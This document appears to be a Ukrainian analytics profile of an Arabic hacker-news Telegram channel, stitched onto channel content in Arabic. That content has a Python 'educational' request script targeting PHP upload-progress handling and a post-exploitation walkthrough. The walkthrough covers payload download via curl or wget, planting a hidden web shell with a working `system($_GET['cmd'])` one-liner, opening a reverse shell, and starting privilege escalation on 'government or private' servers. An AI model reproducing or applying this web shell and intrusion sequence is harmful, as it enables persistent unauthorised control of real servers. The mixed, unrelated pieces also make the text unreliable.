Hacker News
المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين صفحتنا الأولى https://www.facebook.com/HackerNews2
Показати більше📈 Аналітичний огляд Telegram-каналу Hacker News
Канал Hacker News (@hackernewsar) у мовному сегменті Арабська є активним учасником. На даний момент спільнота об'єднує 13 599 підписників, посідаючи 9 366 місце в категорії Технології та додатки та 5 615 місце у регіоні Саудівська Аравія.
📊 Показники аудиторії та динаміка
З моменту свого створення невідомо, проект продемонстрував стрімке зростання, зібравши аудиторію у 13 599 підписників.
За останніми даними від 26 жовтня, 2026, канал демонструє стабільну активність. Хоча за останні 30 днів спостерігається зміна кількості учасників на 317, а за останні 24 години на -1, загальне охоплення залишається високим.
- Статус верифікації: Не верифікований
- Рівень залученості (ER): Середній показник залученості аудиторії становить 11.36%. Протягом перших 24 годин після публікації контент зазвичай збирає 5.30% реакцій від загальної кількості підписників.
- Охоплення публікацій: В середньому кожен допис отримує 1 545 переглядів. Протягом першої доби публікація в середньому набирає 721 переглядів.
- Реакції та взаємодія: Аудиторія активно підтримує контент: середня кількість реакцій на один пост – 14.
- Тематичні інтереси: Контент зосереджений навколо ключових тем, таких як نِظَام, شَرِكَة, اِختِرَاق, مَجمُوعَة, بَيَان.
📝 Опис та контентна політика
Автор описує ресурс як майданчик для висловлення суб'єктивної думки:
“المصدر العربي الأول لأخبار الهاكرز و ملتقى الأحرار و المناضلين
صفحتنا الأولى https://www.facebook.com/HackerNews2”
Завдяки високій частоті оновлень (останні дані отримано 27 жовтня, 2026), канал підтримує актуальність та високий рівень охоплення публікацій. Аналітика показує, що аудиторія активно взаємодіє з контентом, що робить його важливою точкою впливу в категорії Технології та додатки.
import http.client
def send_php2shell_educational_poc(host, port, path):
# إعداد الحدود العشوائية لطلب multipart لرفع الملفات
BOUNDARY = "----WebKitFormBoundaryPHP2Shell"
# صياغة محتوى الطلب الذي يستهدف ميزة تتبع رفع الملفات في PHP
body = (
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n\r\n'
f"exploit_trigger\r\n"
f"--{BOUNDARY}\r\n"
f'Content-Disposition: form-data; name="rawkey"; filename="payload.txt"\r\n'
f"Content-Type: text/plain\r\n\r\n"
f"Conceptual_Data_Padding_Here\r\n"
f"--{BOUNDARY}--\r\n"
)
# إرسال طلب POST الفردي غير المصادق عليه مباشرة إلى الخادم المستهدف
conn = http.client.HTTPConnection(host, port, timeout=10)
headers = {
"Content-Type": f"multipart/form-data; boundary={BOUNDARY}",
"Content-Length": str(len(body)),
"Cookie": "PHPSESSID=test_session_id"
}
conn.request("POST", path, body=body, headers=headers)
response = conn.getresponse()
print(f"[-] Status Received: {response.status}")
بمجرد أن ينجح المهاجم في إرسال طلب الويب الخبيث وإحداث خلل الذاكرة (Memory Corruption) المطلوب، تبدأ مرحلة التثبيت والسيطرة الفعلية. الطلب الأول يفتح الثغرة فقط، لكن الخطوات التي تليها مباشرة تهدف إلى تحويل هذا الاختراق العابر إلى وجود دائم ومخفي داخل السيرفر.
إليكم الخطوات المتتالية التي يتخذها المهاجم فوراً بعد نجاح ثغرة الذاكرة:
1. تشغيل الـ Payload الأولي (Execution Stage)
عندما ينهار محرك PHP داخلياً بسبب نفاد الذاكرة أو بقاء الحالة العالمية، يجبر المهاجم المعالج على القفز إلى العناوين البرمجية التي تحتوي على الكود الخاص به (Payload). غالباً ما يكون هذا الكود عبارة عن أمر نظام (System Command) بسيط مثل:
• على أنظمة لينكس: تشغيل أمر تحميل برمجيات أوسع عبر curl أو wget.
• على أنظمة ويندوز: تشغيل أمر عبر powershell أو cmd.
2. زرع "الباب الخلفي" المُلتحم بالويب (Dropping a Web Shell)
بما أن استغلال ثغرة الذاكرة معقد وقد لا ينجح في كل مرة، فإن أول هدف للمهاجم هو زرع ملف برميجي دائم (Web Shell) داخل مجلدات الموقع العامة (مثل مجلد الصور أو ملفات رفع المستخدمين).
• يقوم المهاجم بكتابة ملف خفي (مثلاً: image_thumb.php أو .system.php) يحتوي على سطر برمجي بسيط يتيح له التحكم بالسيرفر عبر المتصفح لاحقاً دون الحاجة لإعادة استغلال الثغرة، مثل:
<?php system($_GET['cmd']); ?>
3. إنشاء اتصال عكسي للمخترق (Reverse Shell)
لأن فتح الملفات عبر المتصفح قد تكتشفه جدران الحماية، يفضل المهاجمون المحترفون إنشاء اتصال عكسي. يقوم الخادم المخترَق (الموقع الحكومي أو الخاص) بفتح اتصال خارجي صادر (Outbound) والاتصال بجهاز المهاجم مباشرة.
• تكمن خطورة هذه الخطوة في أن معظم جدران الحماية للشركات تمنع الاتصالات الواردة (Inbound) لكنها تسمح بالاتصالات الصادرة من السيرفر إلى الإنترنت، مما يمنح المهاجم شاشة تحكم كاملة بـ الـ Terminal الخاص بالسيرفر.
4. فحص الصلاحيات ومحاولة الارتقاء بها (Privilege Escalation)
في الوضع الطبيعي، تعمل لغة PHP تحت صلاحيات مستخدم محدود جداً على السيرفر (مثل www-data أو apache).